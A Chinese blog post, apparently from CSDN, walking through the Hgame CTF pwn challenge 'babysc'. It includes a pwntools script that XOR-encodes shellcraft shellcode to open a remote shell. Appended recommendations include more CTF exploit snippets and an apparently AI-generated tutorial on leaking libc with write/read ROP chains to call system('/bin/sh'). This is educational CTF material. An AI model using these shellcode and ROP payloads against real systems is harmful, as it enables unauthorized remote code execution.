CTF-PWN-babysc(Hgame)

最新推荐文章于 2025-02-20 19:57:07 发布
原创 最新推荐文章于 2025-02-20 19:57:07 发布 · 889 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文通过IDA软件分析了一个存在漏洞的程序，详细解析了其读取缓冲区、比较循环变量及执行buf中指令的过程。作者使用Python的pwntools库构造payload，通过shellcraft.sh()生成shellcode，实现远程shell的获取。

直接运行该程序，发现没有任何提示信息，随便输入一串字符之后，程序错误退出。

扔进ida查看:

程序用read函数读入buf，然后判断[rbp+var_4]和0x4f的大小关系。这里可以知道[rbp+var_4]应为循环变量，buf长度为80

然后对于buf[i] ，异或buf[i]^(i+1)，最后将buf蕴含的指令赋值给rdx并执行。

我们可以考虑直接构造system(/bin/sh)，执行即可

from pwn import *
context(arch="amd64",os="linux")
payload2=""
payload=asm(shellcraft.sh())
payload+='\x00'*(80-len(payload))
for i in range(len(payload)):
    tmp=chr(ord(payload[i])^(i+1))
    payload2+=tmp
p=remote("××××××××",10000)
p.sendline(payload2)
p.interactive()

 

HGAME 2017 or 2018 PWN levels
qq_42192672的博客
11-12 1027
这个算是做之前的复现吧，感谢Veritas501 WEEK1 1.flag server 拖进IDA看一下 流程倒着看，要有flag-----v8=1-----v5=v6-----s1=admin，我们可以把s1覆盖掉-----username长度不能大于63，不能等于0-----之后还要猜出随机数v6，看一下怎么覆盖 这些变量都在一起，美滋滋 exp from pwn...
Hgame2024week1:pwn wp
2302_79813730的博客
02-18 999
通过题目就可以看出来这是一道随机数的题，并且第一次read可以覆盖种子，覆盖了种子我们就知道随机数是怎样生成的了，一般我们直接覆盖成0。我们需要进入到这个函数让后去输入特定的shellcode，因为过滤了一些字符，这里有一个新的知识点，//gcc 1.c -o 1 ###终端名称生成1程序，运行1得到我们要的数组。主函数也没什么，这个可以结合调试去看，会让我们输入一个数字。随机数绕过后就进入myread函数，没有后门直接libc。vuln函数有栈溢出，但溢出字节不够需要用到栈迁移。
2022 hgame pwn wp
weixin_45209963的博客
03-27 5132
2022 hgame pwn wp 本来早就写好了，但是由于复试毕设等等原因拖到今天才发 包括了绝大部分题目，除了算法题spfa和bpwn，剩下一些简单题懒得写了orz 文章目录2022 hgame pwn wpWeek 1enter_the_pwn_landenter_the_evil_pwn_landoldfashion_orwWeek 2oldfashion_noteechoWeek 3changeable_noteelder_notesized_noteWeek 4vector Week 1 ent
0ctf2017-babypwn
CharlesGodX的博客
09-10 934
前言 本片文章从0ctf2017-babyheap这一道pwn题目入手，讲解pwn堆中的一些利用手法 题目链接 分析程序 首先检查程序保护，所有的保护措施都是开启的，这意味着我们想要改写程序流程考虑从malloc_hook和free_hook入手 [*] '/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap' ...
Hgame 2021 week1 pwn刷题
qq_45595732的博客
02-06 1519
whitegive 签到 from pwn import* context.log_level = 'debug' p = remote('182.92.108.71',30210) p.sendlineafter(':',str(0x402012)) p.interactive() letter 开了沙箱，NX未开 orw思路，shellocde from pwn import* context.log_level = 'debug' libc = ELF('/lib/x86_64-linux-gnu/
ctf-pwn 伪随机数绕过问题
weixin_66751120的博客
03-07 3113
生成伪随机数的范围在0到RAN_DMAX之间，这个最大值依赖于所指定的库，一般至少为32767，该随机数的生成依赖于种子，也就是说，如果种子一样，生成的随机数序列就一样，所以是伪随机数，当然很多题目会把时间作为种子，以此增加随机性。，初始化随机数发生器，用来设置rand函数的种子seed。系统在调用rand函数时，会先调用srand函数，如果没有就会默认种子为1。这里是种子为1时，可以看到生成了0到100内完全相同的随机数序列。
BUUCTF(pwn)hgame2018_flag_server(简单的栈溢出)
半岛铁盒的博客
04-05 426
这一题主要就分析清楚程序的执行流程就可以做出来了; v10=1就可以得出答案; 由于v5=-1;输入长度可以很大,造成溢出,点进去s1 溢出覆盖到v10 满足条件 from pwn import* p = remote("node3.buuoj.cn",26244) p.sendlineafter("your username length: ",'-1') payload='a'*0x40+p32(1) p.sendlineafter("whats your username?",payload.
hgame 2022 PWN 部分题目 Writeup
02-18 3502
hgame 2022 pwn 部分题目writeup
BUUCTF pwn wp 121 - 125
fa1c4的blog
03-24 850
qctf2018_stack2 强网杯2019 拟态 STKOF zctf_2016_note3 bcloud_bctf_2016 hgame2018_flag_server hgame2018_flag_server$ file flag_server;checksec flag_server flag_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
N1CTF2019——babypwn WP
qq_41252520的博客
10-13 712
保护 我的测试环境为ubuntu16.04.1 分析 添加操作中限制只能添加10个结构体： 结构体为： struct Staff{ char Name[0x10]; char *Description; int Description_Size; }; 漏洞存在删除操作中： 总的二进制程序逆向分析到这，下面来考虑怎么利用。 利用 这道题和warmup那道题有点相似，但...
baby_pwn ciscn 2019 第十二届全国大学生信息安全竞赛
04-22
baby_pwn 赛题 ciscn 2019 第十二届全国大学生信息安全竞赛
rOpbaby-CTFPWN ROP练习题
08-21
DefConCTF 2015 Quals CTFPWN ROP练习题 可用于练习基础的ROP
2025hgame pwn全解
2302_79813730的博客
02-20 1065
这里我们先把tcache塞满，之后能得到进入unsortdbin堆块，控制好堆布局，将下一个堆块的pr_size和pr_inuse位修改，释放触发堆块合并，之后将第一个堆块申请出来，libc地址就会进入第二个堆块中，这个堆块还没有释放，泄露得到libc。其次是泄露libc地址，释放大于0x88的堆块，先将tcachebin添慢，中间0x30的堆块如果满的话没办法free，我们可以申请0x20的堆块再次释放，就可以拿到libc地址。同时给出gift，可以任意地址free，触发条件是malloc(0)
[hgame 2025 ]week1 pwn/crypto
weixin_52640415的博客
02-12 920
ROCA素数生成漏洞 n以内phi(n)的和 n以内素数个数prime_pi(n)
[hgame 2024 week3] crypto/pwn
weixin_52640415的博客
02-23 1217
多组低解密指数攻击，b = [m*t%p%（2^32+1） for t in A] 给出模(2^32+1)的余，libc-2.32 UAF largebinAttack 修改mp_ tcache_bins
HgameCTF(week1)-RE,PWN题解析
蚁景网安学院
02-06 575
##RE###maze这个题目从题目名上可以知道是一个迷宫题目，迷宫题目主要把握住迷宫地图，方向键还有起点终点就好。ida打开while ( (signed int)v4 < SH...
hgame2021 week3 pwn刷题
qq_45595732的博客
02-21 476
blackgive 栈迁移 from pwn import* context.log_level = 'debug' def pr(a,addr): log.success(a+'====>'+hex(addr)) #p = process('./blackgive') p =remote('182.92.108.71',30459) elf = ELF('./blackgive') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') puts_plt =
CTF-PWN-ROPbaby(实验吧)
SuperGate的博客
02-07 1947
学rop的时候刷到的题，感觉很有启发于是就写下来。 本文很大程度上借鉴了如下文章: http://wzt.ac.cn/2018/04/02/ROP/ 进入正题。我们发现题目中给了我们libc的文件，在ropbaby程序中也可以直接查找libc基地址，因此我们就可以不用在主程序中寻找了。 首先我们查看ropbaby文件的保护方式 由于开了NX，shellcode的方式就不好弄了，因此我...
虎符CTF-2022 babygame 题解
CoLin的pwn小屋
04-01 1351
虎符CTF最简单的一道pwn题。
ctf-pwn怎么用write+read求libc的基址
最新发布
11-15
<think> 我们参考引用内容，特别是引用[1]到[5]，来回答用户关于使用write和read函数在CTF Pwn中求libc基址的方法。 根据引用[4]和[5]，我们知道： 1. 程序运行后，libc中的函数在内存中的实际地址 = libc基址 + 函数在libc中的偏移量。 2. 我们可以通过泄露一个已经执行过的函数的实际地址（例如write或puts）来计算libc基址。 在CTF Pwn中，如果程序有栈溢出漏洞，我们可以构造ROP链来调用write函数（或puts函数）来泄露某个函数的真实地址（通常是GOT表中存储的地址），然后通过这个地址减去该函数在libc中的偏移量，得到libc基址。 具体到使用write+read的方法，通常步骤如下： 步骤1：第一次溢出，利用ROP调用write函数，将GOT表中某个函数（如write自身或puts）的地址输出到标准输出（文件描述符1）。同时，为了后续继续利用，我们需要控制程序返回到一个可以再次触发溢出的位置（如main函数开头）。 步骤2：接收程序输出，解析出泄露的函数地址。 步骤3：根据泄露的函数地址，计算libc基址（基址 = 泄露的函数地址 - 该函数在libc中的偏移量）。注意，不同libc版本中函数的偏移量不同，因此需要确定libc版本（可以通过泄露多个函数地址来匹配，或者题目提供了libc文件）。 步骤4：根据libc基址，计算出system函数和字符串"/bin/sh"的地址。 步骤5：第二次溢出，利用ROP调用read函数（或其他输入函数）将构造好的ROP链（调用system("/bin/sh")）写入到某个可写内存区域（如.bss段），然后跳转到该区域执行；或者直接构造ROP链调用system("/bin/sh")。 但是，用户特别提到使用write+read，所以这里重点在于利用write泄露地址和利用read再次读入数据。 以下是一个典型利用场景的伪代码： 第一次ROP链： - 覆盖返回地址为write函数的PLT地址（write@plt） - 设置write函数的参数：文件描述符（1）、要泄露的地址（如write_got，即GOT表中write的地址）、输出的长度（4或8字节，取决于32位还是64位） - 设置返回地址为main函数的地址（或另一个可以再次触发溢出的地址），这样在write执行完后程序会重新运行到有漏洞的地方。 接收程序输出的write_got的值，然后计算libc基址。 第二次ROP链： - 覆盖返回地址为read函数的PLT地址（read@plt） - 设置read函数的参数：文件描述符（0，即标准输入）、存储地址（如.bss段的一个缓冲区）、长度（足够长以容纳我们输入的ROP链） - 设置返回地址为存储的ROP链的起始地址（即.bss段的那个缓冲区），这样read函数读入的数据（即我们构造的ROP链）会从.bss段开始执行。 第二次ROP链中，我们可以在.bss段写入一个ROP链，这个ROP链调用system("/bin/sh")。或者，我们可以利用read函数读入一个ROP链直接调用system("/bin/sh")，但要注意此时需要知道system函数的地址。 另一种常见的做法是：第二次ROP链直接构造调用system("/bin/sh")，而不通过read再次读入。但这里用户要求使用read，所以我们需要用read来读入后续的ROP链或字符串。 具体构造示例（32位）： 第一次ROP链： - 填充缓冲区 - write@plt - main_addr (返回地址) - 1 (文件描述符) - write_got (要泄露的地址) - 4 (输出长度) 接收4个字节的write_got地址，计算libc基址：libc_base = write_addr - libc_write_offset 然后计算system地址和/bin/sh地址： system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset 第二次ROP链： - 填充缓冲区 - read@plt - system_addr (注意：这里我们希望read后返回到system，并且参数是/bin/sh，但需要调整栈) - 0 (文件描述符) - binsh_addr (读入地址？这里需要调整思路) 实际上，我们通常需要将"/bin/sh"字符串写入内存，如果libc中已经有这个字符串，我们可以直接使用。然后调用system函数。 但是，如果我们使用read读入，我们可以这样： 第二次ROP链1（使用read读入字符串和后续ROP）： read(0, bss_addr, len(payload)) # 读入payload到bss_addr 然后返回到bss_addr（即执行我们读入的shellcode或ROP链） 但是，我们也可以直接构造ROP链调用system，此时需要将"/bin/sh"的地址作为参数。我们可以将"/bin/sh"字符串读入到已知地址（如.bss段），然后调用system。 因此，第二次ROP链可以这样： - 覆盖返回地址为read@plt - 设置返回地址为pop指令的地址（用于清理read的参数），然后接着是system的地址和参数 - 参数1：0（标准输入） - 参数2：bss_addr（.bss段的一个地址，用于存放我们输入的字符串"/bin/sh"） - 参数3：8（长度，足够存放字符串） - 然后设置返回地址为一段gadget：pop ebx; ret; 这样当read执行完后，会弹出参数（清理栈），然后执行下一条指令。接着我们调用system，参数是bss_addr。 具体构造（32位）： payload2 = padding + read_plt + pop3_ret + 0 + bss_addr + 8 + system_addr + ret_addr + bss_addr 解释： - 调用read(0, bss_addr, 8)读入8个字节到bss_addr（这里我们输入"/bin/sh\x00"） - read函数返回后，执行pop3_ret（一个弹出3个参数的gadget），将read的参数弹出栈，然后返回到system_addr - system_addr的返回地址是ret_addr（可以是一个无用的ret指令地址），参数是bss_addr（即我们读入的字符串地址） 但是，在64位系统中，参数传递通过寄存器，所以构造方式不同。 由于用户没有指定是32位还是64位，这里我们以32位为例。 然而，在实际题目中，我们往往需要根据题目提供的libc来确定偏移量，或者使用LibcSearcher等工具来查找。 总结步骤： 1. 利用write泄露一个GOT表地址（如write_got）。 2. 计算libc基址（需要知道该函数在libc中的偏移）。 3. 计算system和/bin/sh的地址（需要知道它们在libc中的偏移）。 4. 利用read函数读入字符串"/bin/sh"到.bss段（可选，如果libc中已有则不用读入）。 5. 构造ROP链调用system("/bin/sh")。 注意：如果题目中write函数不可用，也可以用puts函数，但puts遇到'\0'会结束，所以需要小心。 引用[5]中提到了使用LibcSearcher来查找libc版本和偏移，我们可以使用类似的工具。 下面是一个简化的例子（假设是32位程序）： 第一次ROP链： payload1 = 'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 然后，接收泄露的write_got地址（4字节），解析为地址。 然后，计算libc_base = write_addr - libc.symbols['write'] # 这里需要知道libc版本，或者使用LibcSearcher 接着，计算system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # 或者如果libc中没有，则需要读入 第二次ROP链： # 首先，我们需要读入"/bin/sh"字符串到.bss段（假设bss_addr已知） payload2 = 'A'*offset payload2 += p32(read_plt) # 调用read payload2 += p32(pop3_ret) # read返回后跳到这里，弹出3个参数 payload2 += p32(0) # fd=0 payload2 += p32(bss_addr) # buf payload2 += p32(8) # len # 然后，我们调用system，参数是bss_addr payload2 += p32(system_addr) payload2 += p32(0) # system的返回地址，可以随意 payload2 += p32(bss_addr) 然后发送payload2，接着发送字符串"/bin/sh\x00"（8字节）。 这样，程序就会执行system("/bin/sh")。 但是，如果libc中已经有"/bin/sh"字符串，我们可以直接使用，不需要读入。那么第二次ROP链可以简化为： payload2 = 'A'*offset + p32(system_addr) + p32(0) + p32(binsh_addr) 然而，用户要求使用read，所以这里我们展示的是需要读入字符串的情况。 注意：实际题目中，我们可能还需要考虑栈平衡等问题。 以上是使用write+read求libc基址并最终获取shell的方法。 现在，我们根据用户要求生成相关问题。 §§相关问题§§ 1. 在32位和64位系统中，利用write和read函数求libc基址的主要区别是什么？ 2. 如果程序中没有write函数，还可以用哪些函数来泄露libc基址？ 3. 在利用read函数读入数据时，如何确定.bss段的地址？ 4. 如何解决不同libc版本中函数偏移量不同的问题？ 5. 在构造ROP链时，为什么有时候需要返回到main函数重新开始？ </think>### CTF Pwn中使用write+read求libc基址的方法 在CTF Pwn中，通过`write`和`read`函数泄露libc基址是常见的利用技术，主要流程如下： #### 核心原理 1. **libc地址计算** libc基址 = 泄露的函数实际地址 - 该函数在libc中的固定偏移量 即：$libc\_base = leaked\_addr - offset$ 2. **GOT/PLT机制** GOT表存储函数真实地址，通过泄露GOT表项获取libc函数地址（如`write@got`）[^2][^5]。 #### 操作步骤 1. **第一次ROP链（泄露地址）** ```python payload1 = b'A' * offset # 填充缓冲区 payload1 += p64(pop_rdi) # 设置rdi=1 (stdout) payload1 += p64(1) payload1 += p64(pop_rsi) # 设置rsi=write_got payload1 += p64(elf.got['write']) payload1 += p64(pop_rdx) # 设置rdx=8 (64位地址长度) payload1 += p64(8) payload1 += p64(elf.plt['write']) # 调用write(1, write_got, 8) payload1 += p64(main_addr) # 返回main重新触发溢出 ``` - 执行后接收输出的8字节数据，解析为`write`函数的实际内存地址[^5]。 2. **计算libc基址** ```python write_addr = u64(io.recv(8)) # 解析泄露的地址 libc_base = write_addr - libc.sym['write'] # 计算基址 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ``` 3. **第二次ROP链（getshell）** ```python payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # rdi="/bin/sh" payload2 += p64(ret) # 栈对齐(可选) payload2 += p64(system_addr) # 调用system("/bin/sh") ``` #### 关键点说明 1. **`read`函数的作用** - 在限制输入长度的题目中（如[^3]），用`read`构造栈迁移： ```python payload += p64(pop_rdi) + p64(0) # fd=0 (stdin) payload += p64(pop_rsi) + p64(new_stack) # 目标栈地址 payload += p64(elf.plt['read']) # read(0, new_stack, size) payload += p64(migrate_gadget) # 跳转到新栈 ``` - 将后续ROP链读到可控内存区域（如.bss段）[^3]。 2. **动态偏移处理** - 当libc版本未知时，用`LibcSearcher`匹配： ```python from LibcSearcher import * libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') ``` #### 典型应用场景 1. 存在栈溢出但无`system`/`/bin/sh`的程序 2. 开启NX保护时（无法执行shellcode） 3. 输入长度受限需结合栈迁移（如[^3]） ---
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值